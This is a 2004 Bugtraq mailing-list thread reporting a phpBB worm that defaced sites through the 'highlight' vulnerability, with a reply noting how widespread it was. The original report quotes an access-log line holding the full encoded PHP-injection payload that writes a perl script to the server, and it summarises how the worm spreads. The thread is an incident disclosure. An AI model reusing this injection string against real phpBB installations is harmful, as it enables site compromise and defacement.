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RE: phpBB Worm
From: "Paul Kurczaba" <paul () myipis com>
Date: Tue, 21 Dec 2004 15:11:27 -0500

It seems that a good number of sites have been compromised due to this
exploit. Doing a search for "NeverEverNoSanity WebWorm Generation" on google
revealed nothing. But, when I did the same search on the new MSN beta search
engine, a whopping 36,000 hits showed up. Check it out:
http://beta.search.msn.com/results.aspx?q=%22NeverEverNoSanity+WebWorm+Gener
ation%22&FORM=QBRE

-Paul K 

-----Original Message-----
From: Shannon Lee [mailto:shannon () webhostworks net] 
Sent: Monday, December 20, 2004 6:51 PM
To: bugtraq () securityfocus com
Subject: phpBB Worm

This morning one of our client's sites was found to have been defaced with
the words "NeverEverNoSanity WebWorm Generation 9."  The defacement appeared
to take place on all .html files in the web root trees of multiple virtual
hosts on the web server in a very short period of time.

After some investigation, we determined that the attacker had gained access
via phpbb in a series of crafted URL requests, like so:

64.235.234.84 - - [20/Dec/2004:08:41:35 -0800] "GET
/viewtopic.php?p=9002&sid=f5
399a2d243cead3a5ea7adf15bfc872&highlight=%2527%252Efwrite(fopen(chr(109)%252
echr
(49)%252echr(104)%252echr(111)%252echr(50)%252echr(111)%252echr(102),chr(97)
),ch
r(35)%252echr(33)%252echr(47)%252echr(117)%252echr(115)%252echr(114)%252echr
(47)
%252echr(98)%252echr(105)%252echr(110)%252echr(47)%252echr(112)%252echr(101)
%252
echr(114)%252echr(108)%252echr(10)%252echr(117)%252echr(115)%252echr(101)%25
2ech
r(32)),exit%252e%2527 HTTP/1.0" 200 13648 "http://forum.CLIENT SITE
OMITTED.com/
viewtopic.php?p=9002&sid=f5399a2d243cead3a5ea7adf15bfc872&highlight=%2527%25
2Efw
rite(fopen(chr(109)%252echr(49)%252echr(104)%252echr(111)%252echr(50)%252ech
r(11
1)%252echr(102),chr(97)),chr(35)%252echr(33)%252echr(47)%252echr(117)%252ech
r(11
5)%252echr(114)%252echr(47)%252echr(98)%252echr(105)%252echr(110)%252echr(47
)%25
2echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(10)%252echr(117)%2
52ec
hr(115)%252echr(101)%252echr(32)),exit%252e%2527" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1)"

After checking the phpbb site, it turns out that this is a vulnerability
posted the 18th of November, called Hilight; we didn't update to prevent it
because the client whose domain it was has their own admin, and we thought
he was taking care of phpBB.  Oops.  The exploit is described here:

http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513

When I copied all these entries out of the log and translated the chr()
calls, they turned out to be the attached perl script, which is capable of
finding .html files to deface, and then going to google and finding more
instances of phpbb to infect.  Which makes it a worm.  It also tracks itself
by generation; we were generation 9.

Please find attached the above-mentioned script as well as the series of log
entries from access_log.

--Shannon




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